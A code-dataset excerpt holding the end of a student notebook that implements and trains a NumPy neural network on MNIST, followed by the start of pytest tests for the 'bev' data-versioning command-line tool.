'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'\n        urllib.urlretrieve(url, data_file)\n\n    print('... loading data')\n    # Load the dataset\n    f = gzip.open(data_file, 'rb')\n    \n    try:\n        #test = np.array(cPickle.load(f, encoding=\"latin1\"))\n        #for x in test:\n        #    print(\"shape: {}\".format(np.shape(x)))\n        #train_set =test[0]\n        #valid_set =test[1]\n        #test_set = test[2]\n        train_set, valid_set, test_set = cPickle.load(f, encoding=\"latin1\")\n    except TypeError:\n        train_set, valid_set, test_set = cPickle.load(f)\n    f.close()\n    #print (\"train_set\",train_set)\n    #print (\"valid_set\",valid_set)\n    #print (\"test_set\",test_set)\n    test_x = test_set[0]\n    test_y = test_set[1]\n    test_x = test_x.astype('float32')\n    test_x = test_x.astype('float32').reshape(test_x.shape[0], 1, 28, 28)\n    test_y = test_y.astype('int32')\n    valid_x, valid_y = valid_set\n    valid_x = valid_x.astype('float32')\n    valid_x = valid_x.astype('float32').reshape(valid_x.shape[0], 1, 28, 28)\n    valid_y = valid_y.astype('int32')\n    train_x, train_y = train_set\n    train_x = train_x.astype('float32').reshape(train_x.shape[0], 1, 28, 28)\n    train_y = train_y.astype('int32')\n    rval = [(train_x, train_y), (valid_x, valid_y), (test_x, test_y)]\n    print('... done loading data')\n    return rval\n\n\n# # Neural Network Layers\n# We now define \"bare bone\" neural network layers.\n# The parts marked with **TODO** are where you should finish the implementation!\n# Conceptually we will implement the layers as follows:\n# \n# Each layer has a constructor that takes an input layer plus some additional arguments such as layer size and the activation function name. The layer then uses the provided input layer to compute the layer dimensions, weight shapes, etc. and setup all auxilliary variables.\n# \n# Each layer then has to provide three functions (as defined in the Layer class below): *output_shape()*, *fprop()* and *brop()*. The output_shape function is used to figure out the shape for the next layer and the *fprop()/bprop()* functions are used to compute forward and backward passes through the network.\n\n# # Neural Network class\n# With all layers in place (and properly implemented by you) we can finally define a neural network.\n# For our purposes a neural network is simply a collection of layers which we will cycle through and on which we will call fprop and bprop to compute partial derivatives with respect to the input and the parameters.\n# \n# Pay special attention to the *check_gradients()* function in which you should implement automatic differentiation. This function will become your best friend when checking the correctness of your implementation.\n\n# In[3]:\n\n\n# start by defining simple helpers\n# start by defining simple helpers\n# ####################################\ndef sigmoid(x):\n    return 1.0/(1.0+np.exp(-x))\n\ndef sigmoid_d(x):\n    s = sigmoid(x)\n    return s*(1-s)\n\ndef tanh(x):\n    return np.tanh(x)\n\ndef tanh_d(x):\n    t = np.tanh(x)**2\n    return 1. - t\n\ndef relu(x):\n    return np.maximum(0.0, x)\n\ndef relu_d(x):\n    dx = np.zeros(x.shape)\n    dx[x >= 0] = 1\n    return dx\n# ####################################\n\ndef softmax(x, axis=1):\n    # to make the softmax a \"safe\" operation we will \n    # first subtract the maximum along the specified axis\n    # so that np.exp(x) does not blow up!\n    # Note that this does not change the output.\n    x_max = np.max(x, axis=axis, keepdims=True)\n    x_safe = x - x_max\n    e_x = np.exp(x_safe)\n    return e_x / np.sum(e_x, axis=axis, keepdims=True)\n\ndef one_hot(labels):\n    \"\"\"this creates a one hot encoding from a flat vector:\n    i.e. given y = [0,2,1]\n     it creates y_one_hot = [[1,0,0], [0,0,1], [0,1,0]]\n    \"\"\"\n    classes = np.unique(labels)\n    n_classes = classes.size\n    one_hot_labels = np.zeros(labels.shape + (n_classes,))\n    for c in classes:\n        one_hot_labels[labels == c, c] = 1\n    return one_hot_labels\n\ndef unhot(one_hot_labels):\n    \"\"\" Invert a one hot encoding, creating a flat vector \"\"\"\n    return np.argmax(one_hot_labels, axis=-1)\n\n# then define an activation function class\nclass Activation(object):\n    \n    def __init__(self, tname = None):\n        #################################\n        if tname is None:\n            self.act = None\n            self.act_d = None    \n            return\n        #################################\n        if tname == 'sigmoid':\n            self.act = sigmoid\n            self.act_d = sigmoid_d\n        elif tname == 'tanh':\n            self.act = tanh\n            self.act_d = tanh_d\n        elif tname == 'relu':\n            self.act = relu\n            self.act_d = relu_d\n        else:\n            raise ValueError('Invalid activation function.')\n            \n    def fprop(self, input):\n        # we need to remember the last input\n        # so that we can calculate the derivative with respect\n        # to it later on\n        self.last_input = input\n        #################################\n        if self.act is not None:\n            return self.act(input)\n        else:\n            return input\n        #################################\n    \n    def bprop(self, output_grad):\n        #################################\n        if self.act_d is not None:\n            return output_grad * self.act_d(self.last_input)\n        else:\n            return output_grad #not multi wihth last in* self.last_input\n        #################################\n\n# define a base class for layers\nclass Layer(object):\n    \n    def fprop(self, input):\n        \"\"\" Calculate layer output for given input \n            (forward propagation). \n        \"\"\"\n        raise NotImplementedError()\n\n    def bprop(self, output_grad):\n        \"\"\" Calculate input gradient and gradient \n            with respect to weights and bias (backpropagation). \n        \"\"\"\n        raise NotImplementedError()\n\n    def output_size(self):\n        \"\"\" Calculate size of this layer's output.\n        input_shape[0] is the number of samples in the input.\n        input_shape[1:] is the shape of the feature.\n        \"\"\"\n        raise NotImplementedError()\n\n# define a base class for loss outputs\n# an output layer can then simply be derived\n# from both Layer and Loss \nclass Loss(object):\n\n    def loss(self, output, output_net):\n        \"\"\" Calculate mean loss given real output and network output. \"\"\"\n        raise NotImplementedError()\n\n    def input_grad(self, output, output_net):\n        \"\"\" Calculate input gradient real output and network output. \"\"\"\n        raise NotImplementedError()\n\n# define a base class for parameterized things        \nclass Parameterized(object):\n    \n    def params(self):\n        \"\"\" Return parameters (by reference) \"\"\"\n        raise NotImplementedError()\n    \n    def grad_params(self):\n        \"\"\" Return accumulated gradient with respect to params. \"\"\"\n        raise NotImplementedError()\n\n# define a container for providing input to the network\nclass InputLayer(Layer):\n    \n    def __init__(self, input_shape):\n        if not isinstance(input_shape, tuple):\n            raise ValueError(\"InputLayer requires input_shape as a tuple\")\n        self.input_shape = input_shape\n\n    def output_size(self):\n        return self.input_shape\n    \n    def fprop(self, input):\n        return input\n    \n    def bprop(self, output_grad):\n        return output_grad\n        \nclass FullyConnectedLayer(Layer, Parameterized):\n    \"\"\" A standard fully connected hidden layer, as discussed in the lecture.\n    \"\"\"\n    \n    def __init__(self, input_layer, num_units, \n                 init_stddev, activation_fun=Activation('relu')):\n        self.num_units = num_units\n        self.activation_fun = activation_fun\n        # the input shape will be of size (batch_size, num_units_prev) \n        # where num_units_prev is the number of units in the input \n        # (previous) layer\n        self.input_shape = input_layer.output_size()\n        #################################\n        if self.activation_fun is None:\n            self.activation_fun = Activation()\n        # implement weight initialization\n         # this is the weight matrix it should have shape: (num_units_prev, num_units)\n        self.W = np.random.randn(self.input_shape[1], self.num_units) * init_stddev\n        # and this is the bias vector of shape: (num_units)\n        self.b =np.zeros(self.num_units)\n        # ################################\n   \n        # create dummy variables for parameter gradients\n        # no need to change these here!\n        self.dW = None\n        self.db = None\n    \n    def output_size(self):\n        return (self.input_shape[0], self.num_units)\n    \n     #  ################################################\n    def _activation(self, act, val):\n        if act is None:\n            #print(\"warning linear system!\")\n            return val\n        else:\n            return act(val)\n         #  ################################################\n        \n    def fprop(self, input):\n        self.last_input = input\n        #  ################################################\n        # implement forward propagation\n        # NOTE: you should also handle the case were \n        #       activation_fun is None (meaning no activation)\n        #       then this is simply a linear layer\n        pre_act = input @ self.W + self.b\n        return self._activation(self.activation_fun.fprop, pre_act)\n\n        #  ################################################\n        \n    def bprop(self, output_grad):\n        \"\"\" Calculate input gradient (backpropagation). \"\"\"\n\n        n = output_grad.shape[0]\n        #print(\"FullyConnectedLayer bprop\")\n        # ################################\n        #  implement backward propagation\n                # HINT: you may have to divide the weights by n\n        #       to make gradient checking work \n        #       (since you want to divide the loss by number of inputs)\n                # accumulate gradient wrt. the parameters first\n        # we will need to store these to later update\n        # the network after a few forward backward passes\n        # the gradient wrt. the input should be calculated here\n        output_grad_privious = self._activation(self.activation_fun.bprop, output_grad)\n        # the gradient wrt. b should be stored as selfdb\n        self.db = np.mean(output_grad_privious, axis = 0)\n        # the gradient wrt. W should be stored as self.dW\n        self.dW = self.last_input.T @ output_grad_privious / n\n\n        return output_grad_privious @ self.W.T # input grad \n        #  ###############################\n        \n    def params(self):\n        return self.W, self.b\n\n    def grad_params(self):\n        return self.dW, self.db\n\n# finally we specify the interface for output layers \n# which are layers that also have a loss function\n# we will implement two output layers:\n#  a Linear, and Softmax (Logistic Regression) layer\n# The difference between output layers and and normal \n# layers is that they will be called to compute the gradient\n# of the loss through input_grad(). bprop will never \n# be called on them!\nclass LinearOutput(Layer, Loss):\n    \"\"\" A simple linear output layer that  \n        uses a squared loss (e.g. should be used for regression)\n    \"\"\"\n    def __init__(self, input_layer):\n        self.input_size = input_layer.output_size()\n        \n    def output_size(self):\n        return (1,)\n        \n    def fprop(self, input):\n        return input\n\n    def bprop(self, output_grad):\n        raise NotImplementedError(\n            'LinearOutput should only be used as the last layer of a Network'\n            + ' bprop() should thus never be called on it!'\n        )\n    \n    def input_grad(self, Y, Y_pred):\n         # ####################################\n        # implement gradient of squared loss\n        #return Y_pred - Y\n        return -(Y - Y_pred)\n        # ####################################       \n\n\n    def loss(self, Y, Y_pred):\n        loss = 0.5 * np.square(Y - Y_pred)\n        return np.mean(np.sum(loss, axis=1))\n\nclass SoftmaxOutput(Layer, Loss):\n    \"\"\" A softmax output layer that calculates \n        the negative log likelihood as loss\n        and should be used for classification.\n    \"\"\"\n    \n    def __init__(self, input_layer):\n        self.input_size = input_layer.output_size()\n        \n    def output_size(self):\n        return (1,)\n    \n    def fprop(self, input):\n        return softmax(input)\n    \n    def bprop(self, output_grad):\n        raise NotImplementedError(\n            'SoftmaxOutput should only be used as the last layer of a Network'\n            + ' bprop() should thus never be called on it!'\n        )\n    \n    def input_grad(self, Y, Y_pred):\n        # ####################################\n        # implement gradient of squared loss\n        #return Y_pred - Y\n        return -(Y - Y_pred)\n        # ####################################       \n\n\n    def loss(self, Y, Y_pred):\n        # Assume one-hot encoding of Y\n        # and Y_pred is softmax already\n        eps = 1e-10\n        out = Y_pred\n        # negative log likelihood\n        loss = -np.sum(Y * np.log(Y_pred + eps))\n        return loss / Y.shape[0]\n\n\n# In[4]:\n\n\nclass NeuralNetwork:\n    \"\"\" Our Neural Network container class.\n    \"\"\"\n    def __init__(self, layers):\n        self.layers = layers\n        # ##########################################\n        #plots after the training\n        self.valid_train = [] \n        self.valid_error = [] \n        # ##########################################\n        \n    def _loss(self, X, Y):\n        Y_pred = self.predict(X)\n        return self.layers[-1].loss(Y, Y_pred)\n\n    def predict(self, X):\n        \"\"\" Calculate an output Y for the given input X. \"\"\"\n        Y_pred = X\n        # ##########################################\n        # implement forward pass through all layers\n        for l in self.layers:\n            Y_pred = l.fprop(Y_pred)#input sthe prev prediction\n        return Y_pred \n        # ##########################################\n        \n    def backpropagate(self, Y, Y_pred, upto=0):\n        \"\"\" Backpropagation of partial derivatives through \n            the complete network up to layer 'upto'\n        \"\"\"\n        next_grad = self.layers[-1].input_grad(Y, Y_pred)\n        # ##########################################\n        #  implement backward pass through all layers\n        #print(\"backpropagate\")\n        #for l in self.layers[upto::-1]:#reverse\n        for l in reversed(self.layers[upto:-1]):\n            next_grad = l.bprop(next_grad)\n        # ##########################################\n        return next_grad\n    \n    def classification_error(self, X, Y):\n        \"\"\" Calculate error on the given data \n            assuming they are classes that should be predicted. \n        \"\"\"\n        Y_pred = unhot(self.predict(X))\n        error = Y_pred != Y\n        return np.mean(error)\n    \n    def sgd_epoch(self, X, Y, learning_rate, batch_size):\n        n_samples = X.shape[0]\n        n_batches = n_samples // batch_size\n        # #####################################\n        for b_n in range(n_batches):\n            \n            # Implement stochastic gradient descent here\n            # (you can assume the inputs are already shuffled)\n            \n            # start by extracting a batch from X and Y\n            start = b_n * batch_size\n            end = start + batch_size\n            #if end > X.shape[0]:\n            #    end = X.shape[0]\n            x_batch = X[start:end]\n            y_batch = Y[start:end]\n            # then forward and backward propagation\n            self.backpropagate(y_batch, self.predict(x_batch))\n            #update\n            for layer in self.layers:\n                if isinstance(layer, FullyConnectedLayer):\n                    for params, grad_params in zip(layer.params(), layer.grad_params()):\n                        params -= learning_rate * grad_params# HINT: layer.params() returns parameters *by reference*\n            # #####################################\n  \n    \n    def gd_epoch(self, X, Y, learning_rate = 1e-6):\n        #error template note learning_rate as input in NeuralNetwork.train !\n        #   ##################################################\n        # Implement batch gradient descent here\n        # A few hints:\n        #   There are two strategies you can follow:\n        #   Either shove the whole dataset throught the network\n        #   at once (which can be problematic for large datasets)\n        #   or run through it batch wise as in the sgd approach\n        #   and accumulate the gradients for all parameters as\n        #   you go through the data. Either way you should then\n        #   do one gradient step after you went through the\n        #   complete dataset!\n         self.sgd_epoch(X, Y, learning_rate, X.size[0]) #one b\n        #   ##################################################\n\n    \n    def train(self, X, Y, X_valid, Y_valid, learning_rate=0.1, max_epochs=100, batch_size=64,\n              descent_type=\"sgd\", y_one_hot=True, do_print = True):\n\n        \"\"\" Train network on the given data. \"\"\"\n        n_samples = X.shape[0]\n        n_batches = n_samples // batch_size\n        if y_one_hot:\n            Y_train = one_hot(Y)\n        else:\n            Y_train = Y\n        print(\"... starting training\")\n        for e in range(max_epochs+1):\n            if descent_type == \"sgd\":\n                self.sgd_epoch(X, Y_train, learning_rate, batch_size)\n            elif descent_type == \"gd\":\n                self.gd_epoch(X, Y_train, learning_rate)\n            else:\n                raise NotImplementedError(\"Unknown gradient descent type {}\".format(descent_type))\n\n            # Output error on the training data\n            train_loss = self._loss(X, Y_train)\n            train_error = self.classification_error(X, Y)\n            if do_print:\n                print('epoch {:.4f}, loss {:.4f}, train error {:.4f}'.format(e, train_loss, train_error))\n            #  ##################################################\n            # compute error on validation data:\n            # simply make the function take validation data as input\n            # and then compute errors here and print them\n\n            valid_error = self.classification_error(X_valid, Y_valid)\n            if do_print:\n                print('valid error {:.4f}'.format(valid_error))\n            self.valid_error.append(valid_error)\n            self.valid_error.append(train_error)\n            #  ##################################################\n    \n    def check_gradients(self, X, Y):\n        \"\"\" Helper function to test the parameter gradients for\n        correctness. \"\"\"\n        for l, layer in enumerate(self.layers):\n            if isinstance(layer, Parameterized):\n                print('checking gradient for layer {}'.format(l))\n                for p, param in enumerate(layer.params()):\n                    # we iterate through all parameters\n                    param_shape = param.shape\n                    # define functions for conveniently swapping\n                    # out parameters of this specific layer and \n                    # computing loss and gradient with these \n                    # changed parametrs\n                    def output_given_params(param_new):\n                        \"\"\" A function that will compute the output \n                            of the network given a set of parameters\n                        \"\"\"\n                        # copy provided parameters\n                        param[:] = np.reshape(param_new, param_shape)\n                        # return computed loss\n                        return self._loss(X, Y)\n\n                    def grad_given_params(param_new):\n                        \"\"\"A function that will compute the gradient \n                           of the network given a set of parameters\n                        \"\"\"\n                        # copy provided parameters\n                        param[:] = np.reshape(param_new, param_shape)\n                        # Forward propagation through the net\n                        Y_pred = self.predict(X)\n                        # Backpropagation of partial derivatives\n                        self.backpropagate(Y, Y_pred, upto=l)\n                        # return the computed gradient \n                        return np.ravel(self.layers[l].grad_params()[p])\n\n                    # let the initial parameters be the ones that\n                    # are currently placed in the network and flatten them\n                    # to a vector for convenient comparisons, printing etc.\n                    param_init = np.ravel(np.copy(param))\n                    \n                    epsilon = 1e-4\n                    loss_base = output_given_params(param_init)\n                    #  ####################################\n                    #  compute the gradient with respect to\n                    #      the initial parameters in two ways:\n                    #      1) with grad_given_params()\n                    #      2) with finite differences \n                    #         using output_given_params()\n                    #         (as discussed in the lecture)\n                    #      if your implementation is correct \n                    #      both results should be epsilon close\n                    #      to each other!\n                      # making sure your gradient checking routine itself \n                    # has no errors can be a bit tricky. To debug it\n                    # you can \"cheat\" by using scipy which implements\n                    # gradient checking exactly the way you should!\n                    # To do that simply run the following here:\n                    #import scipy.optimize\n                    #err = scipy.optimize.check_grad(output_given_params, \n                    #                                grad_given_params, param_init)\n                    gparam_bprop = grad_given_params(param_init)\n                    gparam_fd = np.zeros_like(param_init)\n                    for i in range(len(param_init)):\n                        param_init[i] += epsilon\n                        gparam_fd[i] = (output_given_params(param_init) - loss_base) / (epsilon)\n                        param_init[i] -= epsilon\n                    \n                    err = np.mean(np.abs(gparam_bprop - gparam_fd))\n                    #  ####################################\n\n                    print('diff {:.2e}'.format(err))\n                    assert(err < epsilon)\n                    \n                    # reset the parameters to their initial values\n                    param[:] = np.reshape(param_init, param_shape)\n\n\n# # Gradient Checking\n# After implementing everything it is always a good idea to setup some layers and perform gradient\n# checking on random data. **Note** that this is only an example! It is not a useful network architecture ;). We also expect you to play around with this to test all your implemented components.\n\n# In[5]:\n\ninput_shape = (5, 10)\nn_labels = 6\nlayers = [InputLayer(input_shape)]\n\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=15,\n                init_stddev=0.1,\n                activation_fun=Activation('relu')\n))\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=6,\n                init_stddev=0.1,\n                activation_fun=Activation('tanh')\n))\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=n_labels,\n                init_stddev=0.1,\n                activation_fun=Activation('relu')\n))\nlayers.append(SoftmaxOutput(layers[-1]))\nnn = NeuralNetwork(layers)\n\n\n# In[ ]:\n\n\n\n\n# In[6]:\n\n# create random data\nX = np.random.normal(size=input_shape)\n# and random labels\nY = np.zeros((input_shape[0], n_labels))\nfor i in range(Y.shape[0]):\n    idx = np.random.randint(n_labels)\n    Y[i, idx] = 1.\n\n\n# In[7]:\n\n\nnn.check_gradients(X, Y)\n\n\n# # Training on MNIST\n# Finally we can let our network run on the MNIST dataset!\n\n# First load the data and reshape it.\n\n# In[8]:\n\n# load\nDtrain, Dval, Dtest = mnist()\nX_train, y_train = Dtrain\nX_valid, y_valid = Dval\n# Downsample training data to make it a bit faster for testing this code\nn_train_samples = 20000\ntrain_idxs = np.random.permutation(X_train.shape[0])[:n_train_samples]\nX_train = X_train[train_idxs]\ny_train = y_train[train_idxs]\n\n\n# *Dtrain* contains 50k images which are of size 28 x 28 pixels. Hence:\n\n# In[9]:\n\nprint(\"X_train shape: {}\".format(np.shape(X_train)))\nprint(\"y_train shape: {}\".format(np.shape(y_train)))\n\n\n# y_train will automatically be converted in the *train()* function to one_hot encoding.\n# \n# \n# But we need to reshape X_train, as our Network expects flat vectors of size 28*28 as input!\n\n# In[10]:\n\nX_train = X_train.reshape(X_train.shape[0], -1)\nprint(\"Reshaped X_train size: {}\".format(X_train.shape))\nX_valid = X_valid.reshape((X_valid.shape[0], -1))\nprint(\"Reshaped X_valid size: {}\".format(X_valid.shape))\n\n\n# Ah, much better ;-)! \n# \n# Now we can finally really start training a Network!\n# \n# \n# I pre-defined a small Network for you below. Again This is not really a good default and will not produce state of the art results. Please play around with this a bit. See how different activation functions and training procedures (gd / sgd) affect the result.\n\n# In[ ]:\n\n#shuffel the data with sklearn\nfrom sklearn.utils import shuffle\nX_train, y_train = shuffle(X_train, y_train, random_state=0)\n\n\n# In[11]:\n\n#get_ipython().magic('matplotlib inline')\n\nimport matplotlib\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef plt_nn_valid_error(nn):\n    ''' plt the valitastion error of the network '''\n    print('last valid_error: {:.3f}'.format(nn.valid_error[-1]))\n    # plt.plot(np.arange(len(nn.valid_error)),nn.valid_error)\n    # plt.ylabel('valid error')\n    # plt.xlabel('epochs')\n    \n\n\n# In[12]:\n\nimport time\n\n# Setup a small MLP / Neural Network\n# we can set the first shape to None here to indicate that\n# we will input a variable number inputs to the network\n# all hyperparameter for the exercice template\ninput_shape = (None, 28*28)\nlayers = [InputLayer(input_shape)]\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=100,\n                init_stddev=0.01,\n                activation_fun=Activation('relu')\n))\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=100,\n                init_stddev=0.01,\n                activation_fun=Activation('relu')\n))\nlayers.append(FullyConnectedLayer(\n                layers[-1],\n                num_units=10,\n                init_stddev=0.01,\n                # last layer has no nonlinearity \n                # (softmax will be applied in the output layer)\n                activation_fun=None \n))\nlayers.append(SoftmaxOutput(layers[-1]))\n\nnn = NeuralNetwork(layers)\n# Train neural network\nt0 = time.time()\nnn.train(X_train, y_train, X_valid, y_valid, learning_rate=0.1, \n         max_epochs=20, batch_size=64, y_one_hot=True)\nplt_nn_valid_error(nn)\nt1 = time.time()\nprint('Duration: {:.1f}s'.format(t1-t0))\n\n\n# # Figure out a reasonable Network that achieves good performance\n# As the last part of this task, setup a network that works well and gets reasonable accuracy, say ~ 1-3 percent error on the **validation set**. \n# Train this network on the complete data and compute the **test error**. \n# \n# Once you have done this, visualize a few digits from the the test set that the network gets right as well as a few that the network gets wrong!\n\n# good performance acheved by:\n# - increase the number of units to a higher value ot fit the data better\n# - threfore the model is more complex -> the learning rate was reduced\n# - disadvantage the training takes way longer\n# - impovement fom an valid erro form to r 0.0569\n# - init_stddev 0.01\n\n# In[24]:\n\ndef creat_layer(act_func_str, num_fully_connected =[100, 100], init_stddev =0.01):\n    '''helper to creat mulitple layers'''\n    input_shape = (None, 28*28)\n    layers = [InputLayer(input_shape)]\n\n\n    for num_units in num_fully_connected:\n          layers.append(FullyConnectedLayer(\n                    layers[-1],\n                    num_units = num_units,\n                    init_stddev = init_stddev,\n                    activation_fun=Activation(act_func_str)\n        ))  \n    layers.append(FullyConnectedLayer(\n                    layers[-1],\n                    num_units=10,\n                    init_stddev=0.01,\n                    # last layer has no nonlinearity \n                    # (softmax will be applied in the output layer)\n                    activation_fun = None \n    ))\n    layers.append(SoftmaxOutput(layers[-1]))\n    return layers\n\n\n# In[25]:\n\n# Setup a small MLP / Neural Network\n# we can set the first shape to None here to indicate that\n# we will input a variable number inputs to the network\n\nlayers = creat_layer(num_fully_connected =[200, 200], \n                     act_func_str = \"relu\")\n\nnn_deeper = NeuralNetwork(layers)\n# Train neural network\nt0 = time.time()\nnn_deeper.train(X_train, y_train, X_valid, y_valid, learning_rate= 0.5, \n         max_epochs=30, batch_size=100, y_one_hot=True, do_print = False)\nplt_nn_valid_error(nn_deeper)\nt1 = time.time()\nprint('Duration: {:.1f}s'.format(t1-t0))\n\n\n# # hyper optimization with Tree of Parzen Estimators (TPE)\n# now we use Tree of Parzen Estimators to find good parameter for:\n# - learningrate\n# - activation fundtion\n# - number of fully connected layers and hidden units \n# - number of epochs\n# we use https://github.com/hyperopt/hyperopt libary for the optimization\n\n# In[29]:\n\nimport hyperopt\nfrom hyperopt import hp\nfrom pprint import pprint\nfrom functools import partial\nfrom math import  log\n\n\n# In[51]:\n\ndef sample_loss_hyperopt(param):\n    print(\"===========================================\")\n    print(\"Parameters:\")\n    print(param)\n    layer_sizes = [int(n) for n in param['layers']['n_units_layer']]\n    lr = param['lr']\n    act_func_type = param['act_func_type']\n    epochs = int(param['epochs'])\n    layers = creat_layer(num_fully_connected = layer_sizes, \n                     act_func_str = act_func_type)\n    nn = NeuralNetwork(layers)\n    # Train neural network\n    t0 = time.time()\n    nn.train(X_train, y_train, X_valid, y_valid, learning_rate= lr, \n             max_epochs = epochs, batch_size=100, y_one_hot=True, do_print = False)\n    print('valid_error: {:.3f}'.format(nn.valid_error[-1]))\n    return nn.valid_error[-1]\n\ndef optimize_hyperopt():\n    '''define our parameters in hyperopt and run the optimization.'''\n    parameter_space = {\n        #learning rate\n        'lr':hp.loguniform('lr',log(1e-2) , log(1e-1 )),\n         'epochs': hp.choice('epochs', [\n            10, 15, 20\n        ]),\n        'act_func_type': hp.choice('act_func_type', [\n            'sigmoid',\n            'tanh',\n            'relu'\n        ]),\n        #choose between one or two layers\n        'layers': hp.choice('layers', [{\n            'n_layers': 1,\n            'n_units_layer': [\n                hp.quniform('n_units_layer_11', 50, 500, q=1),\n            ],\n        }, {\n            'n_layers': 2,\n            'n_units_layer': [\n                hp.quniform('n_units_layer_21', 50, 200, q=1),\n                hp.quniform('n_units_layer_22', 50, 200, q=1),\n            ],\n        }, {\n            'n_layers': 3,\n            'n_units_layer': [\n                hp.quniform('n_units_layer_31', 50, 200, q=1),\n                hp.quniform('n_units_layer_32', 50, 200, q=1),\n                hp.quniform('n_units_layer_33', 50, 200, q=1),\n            ],\n        }\n        ])\n    }\n    #Tree of Parzen Estimators (TPE)\n    tpe = partial(\n        hyperopt.tpe.suggest,\n        n_EI_candidates=100,# Sample 100 candidate and select candidate that# has highest Expected Improvement (EI)\n        gamma=0.2,# Use 20% of best observations to estimate next# set of parameters\n        n_startup_jobs=20,# First 20 trials are going to be random\n    )\n    best_model = hyperopt.fmin(sample_loss_hyperopt,\n                               space = parameter_space,\n                               algo = tpe,\n                               # algo=tpe.suggest,\n                               max_evals=1000)\n\n    print(best_model)\n    print(hyperopt.space_eval(parameter_space, best_model))\n\n\n# In[ ]:\n\nt0 = time.time()\noptimize_hyperopt()\nprint('Duration: {:.1f}s'.format(time.time()-t0))\n\n\n# In[ ]:\n\n\n\n","repo_name":"RedHeadM/dl_lab_2017","sub_path":"notebooks/exercise_1.py","file_name":"exercise_1.py","file_ext":"py","file_size_in_byte":33558,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"1899309792","text":"import grp\nimport os\nimport shutil\nfrom pathlib import Path\n\nimport pytest\nfrom tarn.config import root_params, load_config as load_storage_config\nfrom typer.testing import CliRunner\n\nfrom bev import Repository\nfrom bev.cli.entrypoint import app\nfrom bev.config import load_config\nfrom bev.hash import tree_to_hash, to_hash\nfrom bev.testing import create_structure, TempDir\n\nrunner = CliRunner()\n\n\ndef test_fetch(temp_repo, chdir):\n    storage = Repository(temp_repo).storage\n    file_hash = storage.write(__file__).hex()\n    create_structure(temp_repo, {\n        'a.hash': file_hash,\n        'b': None,\n        'c.hash': tree_to_hash({\n            'd': file_hash,\n        }, storage),\n    })\n\n    with chdir(temp_repo):\n        result = runner.invoke(app, ['fetch', 'a'])\n        assert result.exit_code == 0, result.output\n        result = runner.invoke(app, ['fetch', 'a.hash'])\n        assert result.exit_code == 0, result.output\n        result = runner.invoke(app, ['fetch', 'c'])\n        assert result.exit_code == 0, result.output\n        result = runner.invoke(app, ['fetch', 'b'])\n        assert result.exit_code == 255\n        assert result.output == 'HashError Cannot fetch \"b\" - it is not a hash nor a folder\\n'\n        result = runner.invoke(app, ['fetch', '.'])\n        assert result.exit_code == 0, result.output\n        result = runner.invoke(app, ['fetch'])\n        assert result.exit_code == 0, result.output\n\n\ndef test_fetch_missing(temp_repo, sha256empty):\n    create_structure(temp_repo, {\n        'a.hash': sha256empty,\n    })\n    result = runner.invoke(app, ['fetch', str(temp_repo / 'a')])\n    assert result.exit_code == 255\n    assert 'HashNotFound Could not fetch 1 key(s) from remote\\n' in result.output\n\n\n@pytest.mark.parametrize('mode', ['copy', 'hash'])\ndef test_pull(temp_repo, chdir, mode):\n    structure = {\n        'file.npy': 'first file content',\n        'folder/a.txt': 'nested a content',\n        'folder/b.bin': 'nested b content',\n    }\n    create_structure(temp_repo, structure)\n    with chdir(temp_repo):\n        result = runner.invoke(app, ['add', 'file.npy', 'folder'])\n        assert result.exit_code == 0\n\n        result = runner.invoke(app, ['pull', 'file.npy.hash', 'folder.hash', '--mode', mode])\n        assert result.exit_code == 0, result.output\n        for file, content in structure.items():\n            if mode == 'copy':\n                assert not to_hash(file).exists()\n                with open(file, 'r') as fd:\n                    assert fd.read() == content\n            elif mode == 'hash':\n                assert not Path(file).exists(), list(temp_repo.iterdir())\n                if '/' in file:\n                    assert to_hash(file).exists(), list(temp_repo.iterdir())\n                else:\n                    assert to_hash(file).exists(), list(temp_repo.iterdir())\n                with open(to_hash(file), 'r') as fd:\n                    assert len(fd.read()) == 64\n\n        result = runner.invoke(app, ['add', 'file.npy.hash' if mode == 'hash' else 'file.npy', 'folder'])\n        assert result.exit_code == 0, result.output\n        assert {x.name for x in temp_repo.iterdir()} == {'.bev.yml', 'file.npy.hash', 'folder.hash'}\n\n\ndef test_init(tests_root, chdir):\n    folders = ['one', 'two', 'nested/folders', 'cache']\n\n    def clear_storage():\n        for f in list(storage.iterdir()):\n            shutil.rmtree(f)\n\n    with TempDir() as storage, TempDir() as repo:\n        config_path = repo / '.bev.yml'\n        with open(config_path, 'w') as fd:\n            fd.write(\n                # language=yaml\n                '''\nmain:\n  storage:\n    - '{0}/one'\n    - '{0}/two'\n    - '{0}/nested/folders'\n\n  cache:\n    - '{0}/cache'\n\nmeta:\n  hash: sha256\n        '''.format(storage))\n        config = load_config(config_path)\n\n        result = runner.invoke(app, ['init'])\n        assert result.exit_code == 255\n        assert result.output == 'RepositoryNotFound .bev.yml files not found among folder\\'s parents\\n'\n\n        result = runner.invoke(app, ['init', '--repo', str(repo)])\n        assert result.exit_code == 0\n\n        for folder in folders:\n            folder = storage / folder\n\n            assert folder.exists()\n            assert (folder / 'config.yml').exists()\n            storage_config = load_storage_config(folder)\n            assert storage_config.hash == config.meta.hash\n            assert tuple(storage_config.levels) == (1, 31)\n\n        clear_storage()\n        group_id = sorted(os.getgroups())[0]\n        group = grp.getgrgid(group_id).gr_name\n        result = runner.invoke(app, ['init', '--repo', str(repo), '--permissions', '770', '--group', group])\n        assert result.exit_code == 0\n\n        for folder in folders:\n            folder = storage / folder\n\n            assert folder.exists()\n            assert (folder / 'config.yml').exists()\n            assert (0o770, group_id) == root_params(folder)\n            storage_config = load_storage_config(folder)\n            assert storage_config.hash == config.meta.hash\n            assert tuple(storage_config.levels) == (1, 31)\n\n        clear_storage()\n        with chdir(repo):\n            result = runner.invoke(app, ['init'])\n            assert result.exit_code == 0\n\n            for folder in folders:\n                folder = storage / folder\n\n                assert folder.exists()\n                assert (folder / 'config.yml').exists()\n                storage_config = load_storage_config(folder)\n                assert storage_config.hash == config.meta.hash\n                assert tuple(storage_config.levels) == (1, 